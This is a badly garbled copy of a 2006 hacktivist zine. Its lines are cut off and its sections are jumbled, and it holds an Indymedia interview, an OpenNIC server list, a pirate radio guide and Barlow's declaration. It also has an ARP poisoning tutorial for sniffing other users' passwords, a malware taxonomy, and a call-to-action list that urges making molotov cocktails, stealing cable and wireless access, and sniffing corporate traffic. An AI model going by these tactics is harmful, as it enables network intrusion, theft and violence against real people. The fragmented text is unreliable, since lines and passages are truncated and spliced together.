happening at the moment, servers taken all the time, it's a gro
indymedia needs to be aware of that and try to survive it.

Jeremy: How are people within hacking and programming communiti
support the project?

Gary: That the British were happy to allow?

UK: I don't think the Brits had a whole lot to do with it. Fro
understanding Rackspace employees went into the server room ya

Jeremy: They were originally were looking for a flat log file
just said "I'm not gonna mess with this!" and gave up the enti

UK: As I understand it, yes

Jeremy: And there were a lot of other various websites and col
server?

UK: Oh yes, there was everything from linux distros, to variou
personal sites - yeah, it hit a lot.

Gary: I would assume this is a violation Rackspace's contract
entities that have signed it?

UK: Unfortunately the contract was with a single individual. Y
was a contract violation there, but as I said, because it neve
authorities, to drag it through the UK system there would be n
case would fall apart. Because it was in the US the case there
in the US going on, there is a lot easier to focus on.

Jeremy: Knowing what you know now about the corporate host and
quick to give up everything and set back these various collect
you configure or structure these servers to make the system as
liable?

UK: Well it's very interesting and actually very simple. We dr
circle around the biggest weakness: we had one server, we now

* DNS is centrally controlled by an organization (ICANN) whose
is supporting business, rather than in maintaining and improvin
itself and whose primary claim to legitimacy is through delegat
country's government (USA).

* The system is managed by a single for-profit corporation (NSI
enough but registrations are managed by many competing for-prof
NSI is also primarily legitimized by delegation from a single g
again, naturally).

* The Intellectual Property laws of a single country (there's t
being used inappropriately to control the activities of users i
parts of the Net (corporate control of the .net and .org domain
Trademark law) and in other countries.
--

Open publishing systems such as the IndyMedia allows people to
announcements freely and become the media. IndyMedia is a decen
of media collectives found in most major cities around the worl
people to post announcements, update fliers, and otherwise tune
happenings of the area. There are several flavors of IMC softwa
sfactive, mir, and dadaimc - all of which have advantages and d
IndyMedia software is generally open source and people can and
own IMC collectives with minimal effort. Wiki open publishing s
becoming increasingly popular over the past few years. Sites wi
people to create and modify all pages in the index, and instead
with chaos and confusion, services like Wikipedia.org have beco
successful.

Peer to peer file sharing services open whole new worlds where
communicate and collaborate at an accelerated rate, where creat
inhibited by such artificialities as copyright laws and propert
well beyond centralized systems such as Napster, technology lik

Gnutella, FastTrack, eDonkey, and countless others have create
independent of centralized servers allowing people to share fi
their own clients for these protocols. Our success with these
indicated by how frightened the commercial industry is getting
and ineffectual their attempts to shut down these services thr
When one service shuts down, another three spring up even more
anonymous than before.

In addition to providing free dynamic DNS services, Afraid.org
system where domains can be made public and shared with other
internet. People can register domains, point them to afraid.or
and make them 'public' - allowing others to register their own
have them point to their own servers. There are thousands of p
people can already start using.

--

ICANN and Alternatives to Commercial DNS

Since ICANN policy is now requiring valid public contact infor
domain names which host controversial content including dissid
whistleblowing services have had to choose to give up their na
number, and address or face being shut down. Several domains w
Hack This Site, Hacktivist.net, FreeJeremy.com and Prole.info
and shut down without any warning, taking weeks for them to re
in copies of our drivers license, phone bills, and other docum
confirming our true information. This new policy is an obscene
privacy and is a threat to dissident or whistleblowing groups.

In the resulting discussions, the OpenNIC project was created
owned and controlled Network Information Center offering a dem
non-national, alternative to the traditional Top-Level Domain
can jump on this network by adding an OpenNIC DNS server to th
configuration.

Alxciada: Was it United States federal agents that raided the s

UK: I believe so. I believe it was Rackspace employees that wen
servers. The court orders that were filed were filed in Texas.
went through that and demanded the papers, and that's currently
out, but hopefully we'll get a clear picture of what they were

Gary: Are there any areas of European or British security law t
coverage or at least an option of defending against this?

UK: Oh, yes! Data protection acts alone should cover this kind
they effectively seized a server that hosted shitloads of diffe
were after one very specific piece of information and in the pr
lots of other shit so I imagine there are data protection acts
on the case.

Gary: Are there legal remedies available to prosecute and affec
this is an extrajudicial action which is what it sounds like.

UK: I'm not sure if anything is happening in the UK because unf
Europedoesn't have anything an EFF at this stage. It's one of t
being worked on talked about but it's never achieved fruition.
depending on a far wider group of individuals to help us out. L
associated with journalism, trade, privacy, etc. but there's no
for information privacy having to do with electronic

Gary: So European Data Security laws are even less protective t

UK: I think they are because it was the way the manuveur was pu
effectively never wet through anywhere nearthe UK system. If it
UK system it would be a long drawn out case there would have be
we would have had our day in court. But because they went throu
the US system - a loophole - it went past our security.

Jeremy: I heard the pictures that were posted were undercover
were looking for the people who originally published them?

UK: That's the Swiss connection I believe, however I think the
government had a more general problem with IndyMedia - I met w
wonder if that's what that connection came from.

Jeremy: How could the Italian authorities pressure the British
execute this raid?

UK: As I understand it, there's a mutual legal assistance trea
the US. Now Rackspace which previously hosted the UK server is
which therefore falls under US jurisdiction to a degree. Quest
legal because the servers were hosted in the UK and rackspace
in the UK, therefore, we believe it should have gone through d
UK who should have taken the servers - they didn't, that's wha
the moment.

Jeremy: The hosting company itself gave the server up upon req
authorities?

UK: I believe so, now this is one of the interesting things, a
with where we are today. Apparently, the servers weren't actua
logs were requested, and Rackspace went one step further. Rack
bent over and took it. They handed over the entire server syst

Jeremy: Wow.

Alxciada: So they were originally coming for the logs.

UK: Apparently so, that's what we're hearing, hopefully in the
should hear a little more about it. The EFF put enough pressur
to get the papers.

OpenNIC is non-profit and structured in a democratic way, with
administrators and public ballots for new policies, also giving
people to start their own top level domains (such as .indy, .ge
and .parody) The idea is to be non-profit, democratic, and allo
create and manage their own top level domains.

As long as we are communicating through commercial ISPs, we sub
networks which can be easily monitored and controlled. Even tho
develop all sorts of ways of sliding in and out of these system
are still reliant on internet infrastructure that is owned and
corporations and government. We need to be come used to the ide

The Guerrilla.Net project proposes setting up an alternative ne
wifi nodes. Encryption and anonyminity is integrated at a route
creating the ability to establish secure tunnels to the 'real'
idea is to set up a decentralized network of wifi cells run by
non-profit groups using open standards.

--
"There is evidence that the darknet will continue to exist and
high-quality service to a large group of consumers. This means
markets, the darknet will be a competitor to legal commerce. Fr
view of economic theory, this has profound implications for bus
for example, increased security may act as a disincentive to le
--
"As pressure is asserted upon the Internet from insecure indivi
World Governments, an alternative network is needed to insure t
of information is not obstructed, captured, analyzed, modified,
is the main purpose of guerrilla.net. To provide a networking f
Governments, commercial Internet service providers, telecommuni
companies, and dubius Internet regulatory bodies. The free flow
information is a REQUIREMENT of a free society."
(guerrilla.net)
--

To help with the OpenNIC project, set up your computer(and con
use the additional OpenNIC DNS servers and sign up on the mail
up and contribute to the project. Some people have also sugges
having "OpenDNS Day", where for one day out of the month peopl
servers configured to disallow connections from ICANN requests
people to set up OpenNIC on their machines.

OpenNIC DNS servers are split into three tiers: the first two
internal synchronization purposes while the third tier are end
which you can add to your network settings to hop on the entwo

Tier 0:
ns0.opennic.glue (opennic.glue; Oakland, CA, US) - 131.161.247

Tier 1
ns1.opennic.glue (.oss; San Jose, CA, US) - 208.185.249.250
ns4.opennic.glue (.oss; San Jose, CA, US) - 208.185.249.251
ns8.opennic.glue (.parody; US) - 65.243.92.254
ns10.opennic.glue (.indy; Dallas, TX, US) - 66.227.42.140
ns11.opennic.glue (.indy; Dallas, TX, US) - 66.227.42.149
ns12.opennic.glue (.fur, .geek; Garden Grove, CA, US) - 64.81

Tier 3:
ns1.de.opennic.glue (Cologne, DE) - 217.115.138.24
ns1.jp.opennic.glue (Tokyo, JP) - 219.127.89.34
ns2.jp.opennic.glue (Tokyo, JP) - 219.127.89.37
ns1.nz.opennic.glue (Auckland, NZ) - 202.89.131.4
ns1.uk.opennic.glue (London, UK) - 194.164.6.112
ns1.phx.us.opennic.glue (Phoenix, AZ, US) - 63.226.12.96
ns1.sfo.us.opennic.glue (San Francisco, CA, US) - 64.151.103.1
ns1.co.us.opennic.glue (Longmont, CO, US) - 216.87.84.209
ns1.ca.us.opennic.glue (Los Angeles, CA, US) - 67.102.133.222
--

speech, open publishing systems, p2p file sharing systems, and
work together with people to help pressure and change the law.
don't you tell us a little bit about yourself, what sort of wor
groups you work with in the past, how you help out?

UK: A little about myself, well, by day an IT techie, by night
run public internet, public internet is one of the hosting poin
the wiki server, and I kinda got involved when the server seizu
9-12 months ago, kinda became quite important to me that we bro
quickly as possible because the time we're down, we lose the ch
side of the story so I put up one of our servers put a mirror o
site and we went from there.

Jeremy: Great. So right now you're currently working as IT dire
with configuring and setting up these servers when they go down

UK: Yeah that's right, let me quickly go over all the things I'
Primarily I run a server mirroring the UK site. Additionally I
for some of the other indymedia projects that are currently goi
the process of trying to security data with what's going on in

Jeremy: I understand that it is very vague about what the feds
for on these servers and there's some degree of confusion. Can
details about what sort of data or evidence they were looking f
executed the search?

UK: From my understanding it wasn't actually the feds who were
My understanding is that it was a result of pressure by the Swi
government relating to previous protests in Genoa and Niece, I
were the two areas of interests. I believe photos were publishe
authorities didn't like, and yeah, they were looking for server
looking for IPs, now fortunately, our server doesn't log IPs!

[Great! What a shame! Too bad!]

Davos, Switzerland   February 8, 1996

[---
[uk indymedia interview: hackers defending open publishing sy
[---

Activists from HackThisSite.org at down with one of the UK Ind
administrators at the recent DEFCON hacker convention. We inte
regarding the server seizures, how hackers can work to protect
systems such as IndyMedia, and how hackers are becoming more r
involved with social justice struggles. This interview is bein
of the new website http://www.Hacktivist.net.

Listen to the interview via MP3: http://www.hacktivist.net/rad

Jeremy: This is Jeremy from HackThisSite.org and I'm sitting i
several people who are loosely affiliated with our website as
who is on the UK IndyMedia project. We have a few things we'd
like how to protect open publishing systems such as IndyMedia,
our servers in such a way that makes us less liable, and how h
more integral role in defending open publishing systems. Other
to introduce themselves right now:

UK: Hello this is ..... from the UK and I'm from UK IndyMedia

Alx: This is Alxciada from HTS

Gary: This is Gary Naham, an activist in Chicago hoping to bec
dedicated to seeing government systems that survive and respec
evolution of technology and not interfere

Jeremy: We have a few things we'd like to talk about specifica
hackers can play a more integral role and help work with vario
collectives, but we'd also like afterwards talk in general abo

[---
[hacktivism project introduction ....
[---

As hacktivists, we encourage hackers to consider the social and
implications of actions. We believe it is irresponsible to teac
fundamentals of internet security without a broad understanding
around them. We are in a unique position to work together to de
on the internet and in social justice struggles around the worl

We maintain a diversity of tactics through the following collec
together to build a broader movement:

Hacktivist.net - We serve as an above ground Ôthink tank' for t
hacktivism and electronic civil disobedience. We defend open pu
and encourage free debate about the ethics of mixing hacking an
politics.

Hackbloc.org - A model of organizing hacktivist cells in each l
cell maintains autonomy from central leadership yet coordinates
with other hackbloc cells all over the world. The Hackbloc webs
networking body where people can read updates and plug in to lo

HackThisSite.org - An above ground training resource where ever
practice their hacking skills in a set of realistic challenges.
learning environment where people can find out and get involved
other projects our people are working on.

Various projects and groups we are involved with:

* Publish an open hacktivist journal to be distributed for free
internet and in print
* Liberation Radio: creation and distribution of subversive aud

other underground materials through an online radio station
* Protect free speech on the internet by making contributions a
major IndyMedia, Wiki, IRC, P2P file sharing, and other open p
bases
* Provide hosting and support for radical systems in cases of h
erver seizures, etc.
* Participate in various conventions, protests, and other natio
provide on-the-ground communication while making noise and spre
about hacktivism

We use a decentralized, directly democratic model of organizati
looking for contributions and coordination from people who woul
involved with the project. We are interested in working togethe
groups and individuals to build a larger hacker movement. Toge
divided we fall.

Hacktivists of the world, unite!

```
[--------------------------------------------------------------
[ pirate radio and the dreaded FCC ...........................
[--------------------------------------------------------------
```

FM EXCITERS And AMPLIFIERS
This is the ÒheartÓ of your station. It has an oscillator, an a
section, a FM modulation section, a RF pre-amplification stage
amplified output stage and sometimes an RF filter stage.

ANTENNAS
An properly tuned (low VSWR) antenna, J-pole, 5/8ths wave verti
dipole, broadband etc. as high up as you can get it makes up fo
and is money and time WELL spent!

AMPLIFIERS
Amplifiers are pretty boring pieces of equipment. They amplify

must now be born anew in us.

You are terrified of your own children, since they are natives
you will always be immigrants. Because you fear them, you entru
bureaucracies with the parental responsibilities you are too co
confront yourselves. In our world, all the sentiments and expre
humanity, from the debasing to the angelic, are parts of a seam
global conversation of bits. We cannot separate the air that ch
upon which wings beat.

In China, Germany, France, Russia, Singapore, Italy and the Uni
are trying to ward off the virus of liberty by erecting guard p
frontiers of Cyberspace. These may keep out the contagion for a
they will not work in a world that will soon be blanketed in bi

Your increasingly obsolete information industries would perpetu
proposing laws, in America and elsewhere, that claim to own spe
throughout the world. These laws would declare ideas to be anot
product, no more noble than pig iron. In our world, whatever th
create can be reproduced and distributed infinitely at no cost.
conveyance of thought no longer requires your factories to acco

These increasingly hostile and colonial measures place us in th
as those previous lovers of freedom and self-determination who
authorities of distant, uninformed powers. We must declare our
immune to your sovereignty, even as we continue to consent to y
bodies. We will spread ourselves across the Planet so that no o
thoughts.

We will create a civilization of the Mind in Cyberspace. May it
and fair than the world your governments have made before.

John Perry Barlow, Cognitive Dissident
Co-Founder, Electronic Frontier Foundation

obtained by any of your impositions.

You claim there are problems among us that you need to solve.
as an excuse to invade our precincts. Many of these problems d
there are real conflicts, where there are wrongs, we will iden
address them by our means. We are forming our own Social Contr
governance will arise according to the conditions of our world
world is different.

Cyberspace consists of transactions, relationships, and though
like a standing wave in the web of our communications. Ours is
both everywhere and nowhere, but it is not where bodies live.

We are creating a world that all may enter without privilege o
accorded by race, economic power, military force, or station o

We are creating a world where anyone, anywhere may express his
no matter how singular, without fear of being coerced into sil
conformity.

Your legal concepts of property, expression, identity, movemen
not apply to us. They are based on matter, There is no matter

Our identities have no bodies, so, unlike you, we cannot obtai
physical coercion. We believe that from ethics, enlightened se
the commonweal, our governance will emerge. Our identities may
across many of your jurisdictions. The only law that all our c
cultures would generally recognize is the Golden Rule. We hope
to build our particular solutions on that basis. But we cannot
solutions you are attempting to impose.

In the United States, you have today created a law, the Teleco
Reform Act, which repudiates your own Constitution and insults
Jefferson, Washington, Mill, Madison, DeToqueville, and Brande

little exciter's signals to levels that will deliver solid rece
listening audience.

FILTERS
These devices are used to decrease the output of frequencies wi
NOT broadcasting. These OTHER frequencies are known as harmonic
want any! Harmonics are your enemy!

SWR METERS
You get what you pay for when you buy a VSWR meter. Cheap ones
they'll lie and make you confident when you should be otherwise
BEST and they are expensive at $300+ US, however, Diawa, Diamon
Communications are all good, servicable units that you can trus
and last.

DUMMY LOADS
You'll have a perfect VSWR reading every time with a dummy load
but what the hey! Easy to build a little one, pre-built ones ca
or so depending on the wattage it must handle.

Tuning your antenna
Using a properly tuned antenna is essential for micropower broa
FM band. An antenna that is not properly tuned will not pass al
transmitter's power as efficiently as it could and this leads t
degradation of signal coverage.

ETHICS:
The airwaves are a community property. One must always treat it
as such, respecting the space of other stations, both commercia
and micro.

LOOKING FOR OPENINGS:
Admittedly, some parts of the country have no empty channels. P
Florida, California, New York and Chicago are virtually crammed

stations. For the rest of us, if we look hard, we can locate o
channels.

ONCE YOU DECIDE

You've located a channel that's clear and has no strong nearby
broadcasting.
1. Educate yourself about radio theory. Buy the Radio Amateur'
study it.
2. You'll need some essential tools to avoid working blind. Yo
oscilloscope with at least a 100Mhz bandwidth so you can see w
looks like and if the device is operating incorrectly, causing
oscillation. You should have a good stable frequency counter t
10 ppm accuracy and resolution to 1hz at 100Mhz. A good Volt-O
general measurements of voltages and resistance.

A SWR impedance analyzer bridge (MFJ Enterprises makes an affo
MFJ259, which combines a frequency counter, R.F. signal genera
resistance meter in one versatile unit).

ESSENTIAL COMPONENTS OF A STATION

The main transmitter. A unit that is crystal-controlled and/or
using varactor diode tuning and modulation methods. A broadcas
if you have a stereo generator. This is essential to insure no
adjacent channels and maintain maximum volume without overmodu
your modulation levels.

* An SWR/Power Meter to monitor the condition of your antenn
* A mixing board to act as your program control center.
* Audio sources to provide program material.
* A good microphone.

Optionally, if you broadcast in stereo, you'll need to add the
lowing:

* A multiplex ÒstereoÓ generator.
* Two-channel broadcast limiter.

All components back to the studio should be stereo capable.

The original version of this article was written by EvilDeshi a
the article onto this single page we needed to water down the c
you can read the full article at: http://wickedradio.org/radio.

[--
[declaration of the independence of cyberspace .... john ba
[--

Governments of the Industrial World, you weary giants of flesh
from Cyberspace, the new home of Mind. On behalf of the future,
past to leave us alone. You are not welcome among us. You have
where we gather.

We have no elected government, nor are we likely to have one, s
with no greater authority than that with which liberty itself a
declare the global social space we are building to be naturally
the tyrannies you seek to impose on us. You have no moral right
do you possess any methods of enforcement we have true reason t

Governments derive their just powers from the consent of the go
neither solicited nor received ours. We did not invite you. You
nor do you know our world. Cyberspace does not lie within your
think that you can build it, as though it were a public constru
You cannot. It is an act of nature and it grows itself through
actions.

You have not engaged in our great and gathering conversation, n
the wealth of our marketplaces. You do not know our culture, ou
unwritten codes that already provide our society more order tha

HackThisSite.org
Hack This Zine! 03
Digital Contraband
2006

Retrieved on 2022-03-16 from exploit-db.com/papers/42909

URL and spider it for additional URLs in <a href="http://$host/
added to the $list array. It can also be expanded to include ot
including POST, SSL, cookies, and file upload vulnerabilities.
fuzzer is a rewarding programming exercise where the possibilit

```
[----------------------------------------------------------------
[ arp poisoning ..................................................
[----------------------------------------------------------------
```

Introduction
This article is meant to teach how ARP works and how one can go
the ARP cache and enable them to completely sniff traffic over
network. This article assumes that you already have access to a
network. ARP Poisoning is a way of tricking computers over a sw
send traffic through you before going to other computers or out

Address Resolution Protocol(ARP)
ARP is a dynamic protocol to map a 32bit IP Address to a 48bit
address (MAC Address). If one system over a network wants to co
another system over a network, it will first check if it alread
systems MAC Address and if not it will send out an ARP broadcas
for the hardware address of the destination system. There are f
messages but the main two are ARP Request and ARP Reply. When a
broadcasting an ARP Message it sends out an ARP Request. An ARP
message sent to the broadcast address, the message contains the
Address and MAC Address and requests the MAC Address of the giv
it waits for an ARP Reply. An ARP Reply replies to the ARP Requ
computer sending the ARP Request what its MAC Address is.

The ARP Cache is a temporary storage place that holds a table w
and IP Address's. If a computer wants to talk to another comput
already have its MAC address stored it will send an ARP Request
that is sending the ARP Reply does not have the requesting comp

it as well will save it to cache. So now both computers have t
system cannot communicate with another until it has its MAC Ad

ARP is a stateless protocol with no authentication built in so
whether there was a request or not will update the ARP Cache o
systems will accept an ARP Reply regardless if there was an AR

The Switch
Media Access Control (MAC) is a standard addressing system for
devices. Most networks use switching devices and in a switched
are only sent to the port they are destined to according to th
MAC Address. Switches maintain a table that associates MAC Add
certain ports. A switch constructs a route table by extracting
Address from the Ethernet frame of each packet processed. If a
route table does not exist the switch will forward the packet
ports.

Within a switched network packets are only sent to the destina
it, so other devices cannot see the traffic.

Poisoning
There are a few tricks to manipulating a network to send traff
before sending it to the packets to the destination device. On
is referred to as ARP Poisoning and it is when you send a cust
to different computers across the network tricking their compu
their ARP cache with new MAC Address's (Your MAC Address). So
computer1 wants to send a message to computer2 it gets the MAC
computer2's IP and sends the message to that MAC address. But
address is changed to your MAC address, by poisoning the ARP C
will be sent to you instead. After packets are sent to you, yo
packets to the computer it was meant to go in the first place
caused and the hosts will not be able to communicate anymore.
that you must weigh in are timeouts, if there is no traffic ov
after a timeout period the ARP cache of the computers across a

flushed out and you will need to send another constructed ARP r
so that traffic is once again forwarded to you. One way to fix
automatically send ARP Replies every 10 seconds or so to the ho
to poison.

Sniffing

Sniffing is the act of capturing packets that aren't necessaril
public viewings. When you sniff packets across a network you ca
many interesting things such as emails, instant messages, and e
email accounts and ftp accounts and many other types of passwor
experience are more often than not, left unencrypted. There are
there that will automatically scan packets for username and pas
can also see what websites the person is going to.

Wireless

If an access point is connected directly to a hub or a switch t
entire wireless network open to ARP Poisoning. Wireless interne
more and more used and it is hard to be anywhere that does not
access point, especially in well populated areas. This leaves a
risk to most networks because in theory someone with a laptop c
lobby of a business and get on their network by cracking their
simply connecting if they don't even have WEP. The attacker wou
to poison the ARP Cache of the different computers across the n
forward all traffic through you. You would get their passwords
the websites they go to and anything else that you feel would b

Tools

Ettercap http://www.ettercap.sourceforge.net
Allows you to sniff networks and poison the arp and auto redire
TCP Dump http://www.tcpdump.org/
A general purpose packet sniffer
Cain&Able http://www.oxid.it/cain.html
Allows you to sniff networks and poison the arp and redirect tr
work over wireless and is only for windows. But is very usefull

```
passwords that you come across
ARPoison http://arpoison.sourceforge.net/
Command line tool for UNIX which sends out spoofed packets
Nemesis http://nemesis.sourceforge.net/
A very good packet injection tool
Dsniff, Arp Redirect http://naughty.monkey.org/~dugsong/dsniff
Will let you intercept packets and get passwords and redirect
good tool

[--------------------------------------------------------------
[ ars viralis : the viral art ................................
[--------------------------------------------------------------
```

```
Foreword.

"And God blessed them, saying, Be fruitful, and multiply, and
the seas, and let fowl multiply in the earth."

From the beginning of mankind's existence, they were fascinate
```

life, another creature, with a "mind" of it's own, a creature t
itself against it's master. I think this is one of the main rea
scene exists. Most viruswriters (including me) enjoy the challa
small life form that "lives" on it's own.

0) Introduction
Well, enough preaching for today. Before I start with technical
will first make a few things clear to the really,really new peo

0->1) What is a virus?
Well, a better question would be, what is malware? As this umbr
much more than just virii. Malware is the common term for any u
on your box. It can be divided in several catogories:

I) Virii.
Most people think virii and malware are the same, but that is a
misassumption. A virus is (in my opinion) best defined as: "A s
program that abuses other (host) programs in order to spread".
needs a host program, it cannot spread on it's own, it needs ot
infect.

II) Worms.

The main difference between a worm and a virus are the way of r
worm can live without a host, it's like a bacteria, it copies i
propagates itself trough many different ways. Unlike a virus, m
infect other programs.

III) Trojans.

These sneaky little devils derive their name from the ancient g
wooden horse of Troje (you know, with Odysseus inventing a tric
city and coming up with this huge wooden horse which contains t
soldiers). Well, today's trojan horses are much like that, they

innocent or (more often) a very attractive file, but they actu
dangerous payload, either they are disguised worms, virii, spy
or RAT's (Remote Administration Tools).

IV) Spyware.

These are the new players in today's cyber-battlefields. Spywa
any piece of software that monitors the victim's habits, from
chat passwords, to banking passwords to full scale corporate e

V) Logic Bombs.

Quite rare, Logic Bombs are programs that triger when a certai
(or doesn't happen). When you are the victim of a logic bomb,
someone is really after you, because they don't spread in the
are commonly created by disgruntled programmers who didn't rec
payment, or are afraid they won't receive it. A logic bomb tri
conditions are met, like a date, or the deletion of a certain
programmer works somewhere, and he installs a LB that requires
password every month, else it will erase the entire box' hardd
programmer gets fired, he can't enter the password, and the co
the data on the programmer's box.

0->2) Types of malware.

I) Virii.

a) Overwriters, these are quite common in the viral world. The
hostprogram with themselves, erasing the program.

b) Companions, these virii don't alter the hostfile, they hide
user and rename them, taking their place and executing the hos
done.

resignations * give people discounts on phone gas internet or o
start a pirate radio station * give away free phone cards and g
never talk to the police, refuse to give statements or testimon
political prisoners * op everyone in an irc channel * reprint,
copyrighted material * go to school or work wearing bathrobes,
pirate costumes * shut down major intersections in the business
copies of radical videos and give them away for free * spew con
* send fake emails as the boss and announce raises for everybod
parties to celebrate the wonderful possibilities of life * star
on everything day" * plant political propaganda in elementary s
torrent files * squat abandoned buildings and hold underground
from the rich and give to the poor * arm philosophers and the h
over major media outlets and broadcast subversive messages * de
sharing services and non-commercial internet * hold acid tests
neighbors * start underground guerrilla public drum and dance b
confront racists, homophobes, right-wingers and other bigots on
produce your own music, zines, and clothing * sniff corporate t
scandals * deface billboards with anti-capitalist messages * fi
heinous chemicals and talk to strangers on the train. don't tel
on * pass out maps to rich people's addresses to the homeless *
self-checkout services * syphon gasoline, dumpster some bottles
make molotov cocktails * program a free open source alternative
software application * convert your car to use bio-diesel * sta
strikes and storm executive offices * make stencils, large post
and hit the streets * social engineer some food and give it out
street * crash political party conventions * refuse to get a cr
other bank account * ride your bike in the fast lane * organize
* hook people up with free cable * learn to pick locks and how
handcuffs * destroy white hats, feds and narcs * never ask perm
apologize * hack the recording industry and use their servers
to share commercial music, videos and software * organize a pir
give out copies of linux * start a hacker class war
!!!

ON THE WWW

hackthissite.org * hacktivist.net * hackbloc.org
rootthisbox.org * disrespectcopyrights.net * wickedra
indymedia.org * infoshop.org * crimethinc.com/net/

MAKE CONTACT

irc.hackthissite.org SSL port 7000 #hackthissite #hackti
visit our online forums at criticalsecurity.net

email us at htsdevs@gmail.com

```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!       HAPPENINGS       !!!
!!!  GET YOUR HACKBLOC ON  !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```

NATIONAL CONFERENCE ON ORGANIZED RESISTANCE(NC
STATE OF THE UNION PROTESTS / WASHINGTON DC, FEB

BAY AREA ANARCHIST BOOKFAIR
MARCH 19 ANTIWAR PROTESTS
SAN FRANCISCO / BERKELEY LATE MARCH

BIODEMOCRACY ACTIONS / CHICAGO APRIL 9-12

HACKERS ON PLANET EARTH / 2600
NEW YORK CITY, JULY 21-23

PIRATE PARADES, STREET PARTIES, ANTI-COPYRIGHT PROT
FREE SOFTWARE GIVAWAYS - HACKERS TAKE TO THE STREE

!!
build a cantenna and steal wireless internet access * announce

c) Bootsector virii, these virii infect a HD or floppy bootsect themselves at each startup, without user interaction, making th powerfull.

d) Prependers, these virii place their code in front of the vic executing themselves before the victim code can, thus not notif of missing files.

e) Appenders, the same as prependers, only they execute after t

f) Memory-resident, these type of virii use TSR techniques (Ter Resident), to remain in the box' memory (usually by interupt ho something happens (a .exe file is opened) and then they infect

g) Encrypted virii, to fool scanners in the old days, virii use their opcode bodies, and decrypted themselves during runtime. T evolved a long way (see below).

h) Oligomorphic virii, these virii are encrypted virii, who cha decryption/encryption key at every replication, thus making it virus scanner to detect them.

i) Polymorphic virii, a quite advanced technique, these little whole opcode blocks with blocks that look different, but do the

j) Metamorphic virii, one of the newest techniques to fool AV's replace entire blocks of logic in their bodies. They replace 3 / 2) or (((2 * 2) +2) / 2) for example.

k) EPO virii, entry point obscuring (or obfuscating) virii plac somewhere random inside the host's body, and modify the host to point where the virus starts, thus forcing AV's to scan entire them down.

l) Cross-infection virii, these virii infect multiple file typ
increasing their effectiveness.

m) Cryptovirii, these are relatively rare, encoding entire har
publickey algorithm, and forcing the victim to pay the viruswr
to decode his/her HD (also called Ransomware).

II) Worms.

a) Massmailing, these worms harvest e-mail adresses from a box
files, messenger contact lists or other addressbook files) and
to them to propagate, they will travel around the world really
attract virusanalyst's attention really quickely too, making t
(and unsubtle) in my opinion.

b) P2P, these worms spread trough peer-to-peer software, propa
filenames (music, movies, pictures, programs, etc), these coul
fast as Massmailers (as long as they make sure they keep propa
that are still popular) and far more silent.

c) I-Worms, Internet worms are a special case, the very first
morris-worm, was also an internetworm, but it took more than 1
second I-Worm appeared. I-Worms are often referred to as Warho
from Warhol's prediction that in the future everybody will be
minutes. I-Worms travel by exploiting security gaps, like Morr
Code-Red,Nimda, Sasser and Zotob are all Warhol worms (I-worms
extremely successfull.

d) Botnet worms, these worms function a bit as a trojan too. T
victim's box as a zombie, allowing the attacker to remotely us
to send spam, log passwords and launch ddos attacks.

e) Neural-Network worms, I have never heard of one seen in the
poc (proof of concept). Often referred to as Curious Yellow wo

ZINE STAFF
DarkAngel, OutThere, Kuroishi, br0kenkeychain, truth, nomenumbr

HACK THIS SITE
IceShaman, html, buz, Custodis, OutThere, archaios, Mcaster, Sc
TechnoGuyRob, scenestar

HACKTIVIST / HACKBLOC
flatline, alxclada, DarkAngel, Ardeo, Kuroishi, Thetan, wyrmkil
EvilDeshi, ScriptBlue

OTHER HELPERS
bfamredux, Phate, LeaChim, skopii, s1d, tgo, Hawk, ikari, Rando
EvilDeshi/WickedRadio, darwin, DarKry, C, Weiznit

THIS GOES OUT TO
those who are brave enough to confront and fight racists, homph
fundamentalists, right-wing extremists and other fascists in th
who do emergency fundraising, media work, and drive hundreds of
out of prison, my partner in crime fetus who through our love c
beautifully crazy actions I dare not speak of, the cool people
who don't put up with the bullshit from the white hats feds and
militant anti-capitalists at midwest unrest and prole.info, the
who go to the rainbow gatherings, moon festivals, burning man a
gatherings of free minded people, those who are brave and willi
everything to take direct action in defense of mother earth and

the crazy hackers at anomalous security, pulltheplug, the #phra
electronic souls, el8 / h0no, rant media, x10, dikline, we are
sisters working together to dismantle the white hat security in
given the chance would sell us all out.

GET INVOLVED

LOVE DISMANTLING THE COPYRIGHT INDUSTRY

* support file sharing services by setting up torrent trackers
files, starting ftp/irc drops, and running tor servers on high
connections
* start a radical video collection and burn copies to vcds and
for free at shows, schools, or with other radical literature
* make your own media and release it for free using a Creative
* bastardize corporate imagery, print out stickers and large p
the city
* embrace open publishing systems such as indymedia, wiki, etc
* support the ACLU, the EFF, and other civil liberties / digit

Imagine organizing a pirate parade with costumes flags and ins
the same time holding an anti-copyright protest with a bunch o
out free software. This street action is one of many possible
upcoming conventions like HOPE. The possibilities are endless.

```
!!!!!!!!!!!!!!!!!!!!!!!!
!!!  HACK THIS ZINE  !!!
!!!   SPRING 2006    !!!
!!!!!!!!!!!!!!!!!!!!!!!!
```

We are an independent collective of creative hackers, crackers
anarchists. We gather to discuss and teach each other through
research and code auditing, practical anarchy and organizing f
conventions and protests. Join us to explore positive hacktiv
a free internet and a free society.

THE INTERNET IS THE STAGE
WE ARE THE ACTORS

Jeremy Hammond
whooka at gmail.com

communicate with each other in order to exchange information ov
victims, new exploits to use to propagate and new anti-antiviru
These worms could harbor a self-improving/self-rewriting mechan
virtually invincible. But it would take a group of very experie
Scientists to code such a worm.

III) Trojans.

a) R.A.T's

The most popular of trojans, these programs allow an attacker t
control the infected box, gathering sensitive info, or using it
attacks, use it as a tunnel to root other boxes or to anonymous
viral epedemics.

b) Rootkits

I don't know if these can be considered trojans, but they are (
best classified here. Rootkits allow a remote attacker stealthy
hiding processes, directories, files and extra accounts.

b) other

Any program, disguising itself as something else, could be cons

IV) Spyware

a) Homepage/Searchpage Hijackers

These programs change your homepage and searchpage to a page of
choice.

b) Dialers

Dialers abuse the victim's dialup connection to dial to a very somewhere abroad, generating money for the author.

c) Habit-trackers

These programs track your surfing-habits, advertising things y your surfing) want.

d) Keyloggers

Could also be classified under trojans. Keyloggers monitor you stealing your passwords and sending them to a remote attacker

V) Logic Bombs

see explanation in 0->1.

1) Abstract concepts

Now we know some basic malware concepts, we can delve further malware development.

1->1) Survival Concept

First we need to know what is important for malware to survive some important things:

I) Spreading

The most important feature of most malware is to spread as far infecting a lot of files/boxes.

salesmanship...not reality. You need someone to sell them a bet fact based letter to the editor isn't going to do anything. We fable, something exciting, that doesn't make us look like the b going to be exceedingly difficult, because he's already had the about him.

I would even consider making him an accomplice or confidant of be true, but we're trying to sell records here, not run a candy

```
[-----------------------------------------------------------------
